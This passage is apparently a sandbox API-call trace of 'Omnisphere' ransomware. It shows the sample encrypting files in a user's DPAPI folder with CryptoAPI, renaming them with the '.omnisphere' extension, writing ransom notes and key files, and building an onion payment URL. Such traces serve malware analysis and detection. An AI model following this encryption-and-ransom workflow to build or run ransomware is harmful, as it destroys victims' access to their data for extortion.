lpUsedDefaultChar=0x0) returned 16 [0116.890] GetProcessHeap () returned 0x1600000 [0116.890] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16873e8 [0116.890] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16873e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.890] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.890] GetProcessHeap () returned 0x1600000 [0116.890] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfe) returned 0x1648f78 [0116.890] PathCombineW (in: pszDest=0x1648f78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" [0116.890] GetProcessHeap () returned 0x1600000 [0116.890] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1689b10 [0116.890] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.892] WriteFile (in: hFile=0x28c, lpBuffer=0x1689b10*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1689b10*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0116.894] CloseHandle (hObject=0x28c) returned 1 [0116.906] GetProcessHeap () returned 0x1600000 [0116.907] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16937f8 | out: hHeap=0x1600000) returned 1 [0116.907] GetProcessHeap () returned 0x1600000 [0116.907] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x160dfd0 [0116.907] PathCombineW (in: pszDest=0x160dfd0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" [0116.907] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.908] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0116.909] CloseHandle (hObject=0x28c) returned 1 [0116.910] GetProcessHeap () returned 0x1600000 [0116.910] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160dfd0 | out: hHeap=0x1600000) returned 1 [0116.910] GetProcessHeap () returned 0x1600000 [0116.910] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0116.910] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xd20187d7, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xd20187d7, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x2ba69b91, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1", cAlternateFileName="5C4D6E~1")) returned 1 [0116.910] GetProcessHeap () returned 0x1600000 [0116.910] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x118) returned 0x16414e8 [0116.910] PathCombineW (in: pszDest=0x16414e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1" [0116.910] StrStrW (lpFirst=".omnisphere", lpSrch=0x0) returned 0x0 [0116.910] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.910] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=468) returned 1 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.911] GetTickCount () returned 0x115d3a8 [0116.912] GetTickCount () returned 0x115d3a8 [0116.912] GetTickCount () returned 0x115d3a8 [0116.912] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668708) returned 1 [0116.912] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0116.912] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.913] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.913] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0116.913] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d4, lpName=0x0) returned 0x288 [0116.913] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d4) returned 0x1480000 [0116.913] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16691a8) returned 1 [0116.914] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b68) returned 1 [0116.914] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.914] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.915] CryptDestroyKey (hKey=0x1639b68) returned 1 [0116.915] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0116.915] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x1d4, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.915] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.918] GetProcessHeap () returned 0x1600000 [0116.918] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x328) returned 0x1694000 [0116.918] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1.omnisphere")) returned 1 [0116.921] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1.omnisphere.id" [0116.921] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.922] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.924] CloseHandle (hObject=0x3c0) returned 1 [0116.932] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.932] CloseHandle (hObject=0x288) returned 1 [0116.932] SetEndOfFile (hFile=0x28c) returned 1 [0116.932] FlushFileBuffers (hFile=0x28c) returned 1 [0116.936] CloseHandle (hObject=0x28c) returned 1 [0116.937] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\5c4d6ef6-b3c3-469c-83d7-eb4debf6bfd1" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000") returned 1 [0116.937] GetProcessHeap () returned 0x1600000 [0116.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1694330 [0116.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.937] GetProcessHeap () returned 0x1600000 [0116.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1693b20 [0116.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1693b20, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.937] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.937] GetProcessHeap () returned 0x1600000 [0116.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687328 [0116.937] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687328, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.937] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.937] GetProcessHeap () returned 0x1600000 [0116.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfe) returned 0x160dfd0 [0116.938] PathCombineW (in: pszDest=0x160dfd0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" [0116.938] GetProcessHeap () returned 0x1600000 [0116.938] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x168c950 [0116.938] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.938] WriteFile (in: hFile=0x28c, lpBuffer=0x168c950*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x168c950*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0116.938] CloseHandle (hObject=0x28c) returned 1 [0116.938] GetProcessHeap () returned 0x1600000 [0116.939] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1694330 | out: hHeap=0x1600000) returned 1 [0116.939] GetProcessHeap () returned 0x1600000 [0116.939] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf4) returned 0x160e0d8 [0116.939] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" [0116.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-1051304884-625712362-2192934891-1000\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.939] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0116.939] CloseHandle (hObject=0x28c) returned 1 [0116.939] GetProcessHeap () returned 0x1600000 [0116.939] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0116.939] GetProcessHeap () returned 0x1600000 [0116.940] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16414e8 | out: hHeap=0x1600000) returned 1 [0116.940] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1862c0db, ftCreationTime.dwHighDateTime=0x1d5826d, 